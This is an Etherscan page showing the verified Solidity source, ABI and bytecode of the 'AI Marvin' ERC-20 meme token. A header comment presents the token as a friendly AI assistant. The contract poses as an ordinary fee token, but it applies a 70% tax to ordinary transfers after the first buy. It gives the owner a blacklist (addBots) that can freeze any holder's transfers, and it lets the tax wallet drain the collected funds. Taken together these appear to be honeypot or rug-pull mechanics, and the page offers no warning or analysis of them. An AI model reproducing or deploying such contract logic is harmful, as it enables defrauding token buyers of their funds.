Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract AIMARVIN is Context, IERC ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removelimits()    - function removetransferTax()    - function sendETHToFee(uint256 amount)    - function addBots(address[] memory bot ...    - function delbots(address[] memory not ...    - function isbot(address a)    - function openTrading()    - function reduceFee(uint256 _newFee)    - function manualswap()    - function SaveETH()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-31
*/

// SPDX-License-Identifier: UNLICENSE

/*
Hello! I'm AIMARVIN, your friendly AI assistant inspired by Elon Musk's adorable dog, Marvin. I'm here to help answer your questions and make your experience as enjoyable as possible. Feel free to ask me anything—I'm excited to assist you!

TG:https://t.me/AIMARVIN_ERC

TWITTER:https://aimarvin.xyz/

WEB:https://aimarvin.xyz/

AIBOT:https://t.me/AIMARVIN_bot

*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AIMARVIN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=22;
    uint256 private _initialSellTax=22;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=28;
    uint256 private _reduceSellTaxAt=28;
    uint256 private _preventSwapBefore=28;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"AI Marvin";
    string private constant _symbol = unicode"AIMARVIN";
    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 2000000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removelimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removetransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delbots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isbot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualswap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    function SaveETH() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"SaveETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isbot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removetransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601660065560166007555f6008555f600955601c600a55601c600b55601c600c556046600d555f600e556009600a61003c919061030b565b61004a906377359400610320565b600f556100596009600a61030b565b610067906377359400610320565b6010556100766009600a61030b565b61008490633b9aca00610320565b6011556100936009600a61030b565b6100a1906377359400610320565b6012556014805461ffff60a81b191690555f60158190556016553480156100c6575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556101256009600a61030b565b6101349064174876e800610320565b335f90815260016020819052604082209290925560039061015c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101b93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101f06009600a61030b565b6101ff9064174876e800610320565b60405190815260200160405180910390a3610337565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561026357815f190482111561024957610249610215565b8085161561025657918102915b93841c939080029061022e565b509250929050565b5f8261027957506001610305565b8161028557505f610305565b816001811461029b57600281146102a5576102c1565b6001915050610305565b60ff8411156102b6576102b6610215565b50506001821b610305565b5060208310610133831016604e8410600b84101617156102e4575081810a610305565b6102ee8383610229565b805f190482111561030157610301610215565b0290505b92915050565b5f61031960ff84168361026b565b9392505050565b808202811582820484141761030557610305610215565b611baf806103445f395ff3fe60806040526004361061014a575f3560e01c80638da5cb5b116100b3578063c311eeb41161006d578063c311eeb4146103b4578063c3c8cd80146103c8578063c9567bf9146103dc578063d34628cc146103f0578063dd62ed3e1461040f578063ec1f3f6314610453575f80fd5b80638da5cb5b146102f65780638f9a55c01461031c57806395d89b411461033157806397194abb14610361578063a9059cbb14610380578063bf474bed1461039f575f80fd5b806331f9cdf71161010457806331f9cdf7146102385780635e4ae81b1461026f57806370a0823114610285578063715018a6146102b95780637b2519de146102cd5780637d1db4a5146102e1575f80fd5b806306fdde0314610155578063095ea7b3146101985780630faee56f146101c757806318160ddd146101ea57806323b872dd146101fe578063313ce5671461021d575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600981526820a49026b0b93b34b760b91b60208201525b60405161018f91906116be565b60405180910390f35b3480156101a3575f80fd5b506101b76101b2366004611717565b610472565b604051901515815260200161018f565b3480156101d2575f80fd5b506101dc60125481565b60405190815260200161018f565b3480156101f5575f80fd5b506101dc610488565b348015610209575f80fd5b506101b7610218366004611741565b6104a9565b348015610228575f80fd5b506040516009815260200161018f565b348015610243575f80fd5b506101b761025236600461177f565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027a575f80fd5b50610283610510565b005b348015610290575f80fd5b506101dc61029f36600461177f565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b506102836105ce565b3480156102d8575f80fd5b5061028361063f565b3480156102ec575f80fd5b506101dc600f5481565b348015610301575f80fd5b505f546040516001600160a01b03909116815260200161018f565b348015610327575f80fd5b506101dc60105481565b34801561033c575f80fd5b5060408051808201909152600881526720a4a6a0a92b24a760c11b6020820152610182565b34801561036c575f80fd5b5061028361037b3660046117ae565b61069e565b34801561038b575f80fd5b506101b761039a366004611717565b610725565b3480156103aa575f80fd5b506101dc60115481565b3480156103bf575f80fd5b50610283610731565b3480156103d3575f80fd5b50610283610763565b3480156103e7575f80fd5b506102836107b0565b3480156103fb575f80fd5b5061028361040a3660046117ae565b610b5a565b34801561041a575f80fd5b506101dc61042936600461186e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045e575f80fd5b5061028361046d3660046118a5565b610bde565b5f61047e338484610c23565b5060015b92915050565b5f6104956009600a6119b0565b6104a49064174876e8006119be565b905090565b5f6104b5848484610d46565b610506843361050185604051806060016040528060288152602001611b52602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061133a565b610c23565b5060019392505050565b5f546001600160a01b031633146105425760405162461bcd60e51b8152600401610539906119d5565b60405180910390fd5b61054e6009600a6119b0565b61055d9064174876e8006119be565b600f5561056c6009600a6119b0565b61057b9064174876e8006119be565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ab6009600a6119b0565b6105ba9064174876e8006119be565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146105f75760405162461bcd60e51b8152600401610539906119d5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106685760405162461bcd60e51b8152600401610539906119d5565b5f600d8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016105c4565b5f546001600160a01b031633146106c75760405162461bcd60e51b8152600401610539906119d5565b5f5b8151811015610721575f60045f8484815181106106e8576106e8611a0a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016106c9565b5050565b5f61047e338484610d46565b6005546001600160a01b0316336001600160a01b031614610750575f80fd5b4780156107605761076081611372565b50565b6005546001600160a01b0316336001600160a01b031614610782575f80fd5b305f9081526001602052604090205480156107a0576107a0816113a9565b4780156107215761072181611372565b5f546001600160a01b031633146107d95760405162461bcd60e51b8152600401610539906119d5565b601454600160a01b900460ff16156108335760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610539565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561087d90309061086e6009600a6119b0565b6105019064174876e8006119be565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611a1e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610950573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109749190611a1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e29190611a1e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a29816001600160a01b03165f9081526001602052604090205490565b5f80610a3c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac79190611a39565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b1c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b409190611a64565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610b835760405162461bcd60e51b8152600401610539906119d5565b5f5b815181101561072157600160045f848481518110610ba557610ba5611a0a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610b85565b6005546001600160a01b0316336001600160a01b031614610bfd575f80fd5b6008548111158015610c1157506009548111155b610c19575f80fd5b6008819055600955565b6001600160a01b038316610c855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610539565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610539565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610daa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610539565b6001600160a01b038216610e0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610539565b5f8111610e6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610539565b5f80546001600160a01b03858116911614801590610e9857505f546001600160a01b03848116911614155b156111fd576001600160a01b0384165f9081526004602052604090205460ff16158015610edd57506001600160a01b0383165f9081526004602052604090205460ff16155b610ee5575f80fd5b600e545f03610f1d57610f1a6064610f14600a54600e5411610f0957600654610f0d565b6008545b8590611519565b9061159e565b90505b600e5415610f4257610f3f6064610f14600d548561151990919063ffffffff16565b90505b6014546001600160a01b038581169116148015610f6d57506013546001600160a01b03848116911614155b8015610f9157506001600160a01b0383165f9081526003602052604090205460ff16155b1561109457600f54821115610fe85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610539565b6010548261100a856001600160a01b03165f9081526001602052604090205490565b6110149190611a83565b11156110625760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610539565b61107d6064610f14600a54600e5411610f0957600654610f0d565b600e80549192505f61108e83611a96565b91905055505b6014546001600160a01b0384811691161480156110ba57506001600160a01b0384163014155b156110e7576110e46064610f14600b54600e54116110da57600754610f0d565b6009548590611519565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561111d57506014546001600160a01b038581169116145b80156111325750601454600160b01b900460ff165b801561113f575060115481115b801561114e5750600c54600e54115b156111fb57601654431115611162575f6015555b6003601554106111b45760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610539565b6111d16111cc846111c7846012546115df565b6115df565b6113a9565b4780156111e1576111e147611372565b60158054905f6111f083611a96565b909155505043601655505b505b801561127557305f9081526001602052604090205461121c90826115f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061126c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112979083611651565b6001600160a01b0385165f908152600160205260409020556112da6112bc8383611651565b6001600160a01b0385165f90815260016020526040902054906115f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113238585611651565b60405190815260200160405180910390a350505050565b5f818484111561135d5760405162461bcd60e51b815260040161053991906116be565b505f6113698486611aae565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610721573d5f803e3d5ffd5b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ef576113ef611a0a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611446573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146a9190611a1e565b8160018151811061147d5761147d611a0a565b6001600160a01b0392831660209182029290920101526013546114a39130911684610c23565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114db9085905f90869030904290600401611ac1565b5f604051808303815f87803b1580156114f2575f80fd5b505af1158015611504573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f0361152857505f610482565b5f61153383856119be565b9050826115408583611b32565b146115975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610539565b9392505050565b5f61159783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611692565b5f8183116115ed5782611597565b50919050565b5f806115ff8385611a83565b9050838110156115975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610539565b5f61159783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133a565b5f81836116b25760405162461bcd60e51b815260040161053991906116be565b505f6113698486611b32565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610760575f80fd5b8035611712816116f3565b919050565b5f8060408385031215611728575f80fd5b8235611733816116f3565b946020939093013593505050565b5f805f60608486031215611753575f80fd5b833561175e816116f3565b9250602084013561176e816116f3565b929592945050506040919091013590565b5f6020828403121561178f575f80fd5b8135611597816116f3565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117bf575f80fd5b823567ffffffffffffffff808211156117d6575f80fd5b818501915085601f8301126117e9575f80fd5b8135818111156117fb576117fb61179a565b8060051b604051601f19603f830116810181811085821117156118205761182061179a565b60405291825284820192508381018501918883111561183d575f80fd5b938501935b828510156118625761185385611707565b84529385019392850192611842565b98975050505050505050565b5f806040838503121561187f575f80fd5b823561188a816116f3565b9150602083013561189a816116f3565b809150509250929050565b5f602082840312156118b5575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190a57815f19048211156118f0576118f06118bc565b808516156118fd57918102915b93841c93908002906118d5565b509250929050565b5f8261192057506001610482565b8161192c57505f610482565b8160018114611942576002811461194c57611968565b6001915050610482565b60ff84111561195d5761195d6118bc565b50506001821b610482565b5060208310610133831016604e8410600b841016171561198b575081810a610482565b61199583836118d0565b805f19048211156119a8576119a86118bc565b029392505050565b5f61159760ff841683611912565b8082028115828204841417610482576104826118bc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a2e575f80fd5b8151611597816116f3565b5f805f60608486031215611a4b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a74575f80fd5b81518015158114611597575f80fd5b80820180821115610482576104826118bc565b5f60018201611aa757611aa76118bc565b5060010190565b81810381811115610482576104826118bc565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b115784516001600160a01b031683529383019391830191600101611aec565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b4c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a